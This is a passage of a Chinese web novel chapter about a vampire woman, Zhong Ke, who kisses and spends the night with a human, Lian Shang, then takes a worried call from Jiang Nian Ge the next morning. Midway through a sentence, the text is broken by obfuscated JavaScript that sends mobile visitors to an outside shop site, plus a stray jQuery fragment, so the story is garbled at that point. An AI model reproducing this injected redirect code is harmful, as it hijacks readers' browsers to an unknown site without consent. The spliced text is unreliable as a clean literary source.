钟可的脑子里警铃大作:不能回答!
这一听就是“送命题”啊!
谁知道她说了实话之后,他会不会又发疯啊……
明明,她最看中的是他的脸。
但,她可摸不准,这个疯批等下会不会又说什么“你喜欢?我送你啊?我帮你毁掉?”之类的疯言疯语。
可她不回答,这个问题怎么混过去呢?
“姐姐——”
连裳的执着就差刻在脑门上,迟迟等不来她的回应,他又要开口了。
钟可把心一横,直接吻了上去。
连裳那双漂亮的眼睛顿时瞪得像铜铃。
钟可心里想的却是:我不回答,但堵上你的嘴,这总行了吧。
差不多得了吧。
差不多……
得了……
吧……
——可就在她觉得目的达到了,准备退后离开时,他却猛然伸手箍住了她的肩,继续紧紧贴着她的唇。
这个原本只是用作缓兵之计的吻,刹那间,变得暧昧了起来。
于是,在钱悠的SUV里,钟可意外地失去了她真正意义上的,初吻。
因为他甚至用柔软的唇,缠绵地在她的口齿之间流连起来,最终……
似乎有什么神奇的力量牵引着她,又似乎是自然而然的……
他们的舌尖,渐渐就彼此狠狠地纠缠了起来。
转瞬之间,这原本只是唇唇相贴的“堵嘴”,竟然变成了一个,充满着渴求,在口腔里交换了温热的,湿漉漉的深吻。
连裳原本瞪大的双眼,不知何时沉醉地闭上了。
而钟可原本清醒的头脑里,不知何时,只剩下了混沌的欲望。
她仿佛什么都听不到了,也什么都不想再看,浑身上下的感知,都只剩下了这个,让她感到沉溺的吻。
还有,他炙热的气息。
等到两个人终于分开时,钟可惊奇地发现,她竟然有点喘不上气的感觉。
而连裳,缓缓睁开他那双勾人的桃花眼,深棕色的瞳孔里,散发着浓郁的……眷恋。
钟可看得几乎呆住。
他的脸颊红透了,连耳根都是红的,但在他的眼睛里,她竟然看到了……满满的她。
是距离太近了吗?
她竟然大意到和一个人类对视,还在对方的眼睛里,看到了一个傻乎乎的自己。
钟可的理智试图重新掌控她的大脑,她刚要开口:“连……”
可迎面而来的,是他的又一个吻。
钟可觉得这还不是最离谱的,最离谱的是,这一次,她几乎完全没有思考,很快就本能地闭上了眼睛,再一次沉醉进他诱人的气息里。
原来……
感官,真的是会骗人的。
她就像被引诱着,进入了一场甜美的梦,这梦里什么都看不见,什么都变得很轻、很柔,却又很热烈,让人欲罢不能……
而她的意识,只剩下一片模糊和混沌……
耳边清晰可闻的,是彼此剧烈的呼吸,和无法分开也不愿分开的欲念。
每一次,当理智试图对她发出提醒,就会被……他温柔的轻抚,立刻抵挡、消灭。
连裳的手有点凉,远不似他的唇舌那么灼人,可那丝丝的清凉抚上她的脸,刚好可以抵消她无法消散的滚烫,给她带来阵阵舒缓。
酥酥的,麻麻的,还有一股让她心头狂跳的紧张。
……这就是接吻的感觉吗?
她从未感受过这样强烈的情绪,几乎让她理性尽失,让她满脑子、满心,都只能想着“占有他”,更多一些、更深一些……
在这投入得不知时间过了多久的吻里,她只觉得,这滋味比起吸他的血,也完全不差。
明明,这只是她的初吻——
却不想停下来。
却好像……
她早在很久很久以前,就在渴求他了。
直到钟可和连裳快要一起倒向汽车的后座,她整个人几乎要扑到他的身上——
旁边忽然有一辆离开的车,不那么刺耳的车轮声,才让她如梦初醒。
钟可重重地喘息着,推开一直搂住她的连裳。
连裳显然比她更沉迷在刚刚的两个吻里,他在被钟可推开时,人软软地靠到了后座上,看向钟可的眸子已经变得雾蒙蒙的,里面还染上了,令她陌生而心动的……欲望。
钟可用力地呼出一口气,她一时完全丧失了组织语言的能力。
只要看着那张美得令人心生邪念的脸,再稍微凝视一番他几乎在滴水的眸子,她就觉得浑身发烫,有种被妖力控制了,无力反抗、也不想反抗的感觉。
她甚至,再一次感到了……饿。
很饿很饿。
就像从未如此饿过。
想吃……
想吃掉他。
好想。
……
就在这一刻,钟可已经完全忘记了,她是怎么来到这里,又是为什么来到这里,原本想要对他说什么,明明打算把他甩开,明明想好了……要让这个危险的来历不明的人,彻底离开她的生活……
她通通忘记了。
她只想吃了他。
现在。
这个念头几乎让她自己感到了害怕,于是钟可勉强维持了最后的理智,试图把他也从这迷人的深渊里拉出来:“连裳……你先听我说……”
“……姐姐……”
这一次,同样的两个字从他口中吐出来,混着他剧烈的喘息,和浓重的鼻音,完全没有了之前的癫狂,也没有了更早之前的讨好。
只有无尽的缱绻,和令人着迷的……甜腻。
钟可只听到脑子“嗡——”的一声。
她知道,完了。
今天最后的理智,只能切断在这里了。
直到她和连裳进了酒店的房间,她把他按在门上,像一头饥饿的兽,什么都无法思考,只想要用他的气息、他的温度、他的血……来填满她无比饥饿的欲望之时,钟可都没想通,她怎么就,忽然,只剩下了……
妖的本能。
想要他。
想吃了他。
想把他,永远变成自己的食物。
……
那是这一整个夜晚之间,萦绕在钟可脑中,她全部的想法。
而理智,危险,抗拒……
那原先让她多年来安稳活着的美好品质,全都在连裳一声声氤氲缠绵的“姐姐”里,不翼而飞了。
她听不见别的,也不想听了。
……罢了。
如果要沉沦,那就沉沦吧。
至少,她绝不肯放过他。
无论那是怎样的深渊,怎样的深不见底,怎样的不可逃脱……
就让她,强迫他,一起坠落吧。
*
直到手机铃声突兀地响起,时而断开,又重新响起——
钟可蓦然睁开眼。
眼前是陌生的天花板,窗外是有些晃眼的光……
她才渐渐反应过来……
她、都、做、了、些、什、么!
钟可伸手捞过手机,一看屏幕上正在闪烁的【贺念戈来电】,吓得整
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14267815|150718||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
个人从床上弹坐起来。
她连忙先把铃声改成静音,再转头去看旁边——
不忍直视。
她……
她好像有点低估了自己,或者高估了人类……
总之,连裳看起来,比她还像……第一次经历这种事。
钟可有点不确定自己是怎么睡着的。
毕竟,她一点也不觉得累。
身体上也没有什么疲惫的感觉。
她毕竟是血族,对她而言,无论是体力,还是精力,普通人类和她比起来,都完全不是对手。
而连裳……他毕竟只是个人类……
她却隐约记得,自己昨夜就像一只没有理智的兽……不准他求饶,不准他认输,不准他……先试图休息……
那时的她,满脑子里只有,“拥抱吧”,“一起沉沦吧”……这样的念头。
不仅如此,她还无法控制地,又吸了他的血。
幸好,她还记得,用妖力治愈了他的伤口。
钟可的脸都要皱成一团了,她几乎想挖个地洞把自己埋进去,躲个百八十年再出来见人。
可手机上还在不断闪烁着贺念戈的电话,时间已经是上午9点了。
她只能用力甩了甩自己的头,强迫自己清醒一点,轻手轻脚地从床上起身,捏着手机,捞起地上的裙子,进了卫生间。
“喂。”
——天呐!她嗓子怎么哑成这样?
“钟可?我的天,你终于接电话了!你没事吧?”
贺念戈的声音很紧张,但能听出他还是刻意地控制了音量。
钟可立刻想起她和贺念戈的约定,连忙紧张地问:“你爸妈发现我不在了?你再拖延一会儿,我会尽快赶回去。”
她也顾不上,自己的嗓音就像待宰时嚎了两小时的公鸭,已经沙哑得让人害怕。
只想着,不能让贺念戈的事再出差池。
贺知月不是好糊弄的,她离开了一整夜,也不知道贺知月有没有怀疑什么。
贺念戈的回答倒是让她安心不少:“别担心,我这里还好。我爸一早就去公司了,至于我妈……我已经照你说的,跟我妈说你一大早就出门了,去见个正好在楠城的朋友。倒是你……你没事吧?”
贺念戈怎么会听不出,她的声音很不对劲。
只是他实在不知道她这里是什么情况,只能含蓄地问她“没事吧”。
可显然,钟可也能听出来,贺念戈问这话时,语气十分犹豫。
她连忙低声解释:“没事,你放心。我……我回去再和你说,你就在家等我。”
说完,她急匆匆地挂了电话,又用最快的速度把衣物都穿好,把自己整理得可以出门。
至于澡——只能回贺家再洗了。
她轻轻地走出卫生间,一直小心翼翼地观察着连裳的情况。
如果他现在突然醒了,她真的不知道要怎么面对。
幸好,连裳应该是真的累惨了,他睡得很沉,没有一丝醒来的迹象。
钟可犹豫了一会儿,还是在床头的便签上给他留了句话:我有急事,先走了。手机联系。
——其实,发消息说也可以,但她当下真的很怕吵醒他。
写完这句,一想到他昨晚在车上那骇人的反应,她又加了句:放心,不会丢下你。
写完便签,钟可走到门口刚要出去,又不放心地折了回来,从手机壳背面抽出自己的黑卡,放在了便签旁边。
看了看床头的卡和便签,又看了看床上还在熟睡的连裳,钟可确认没有遗漏了,这才放心地出了门。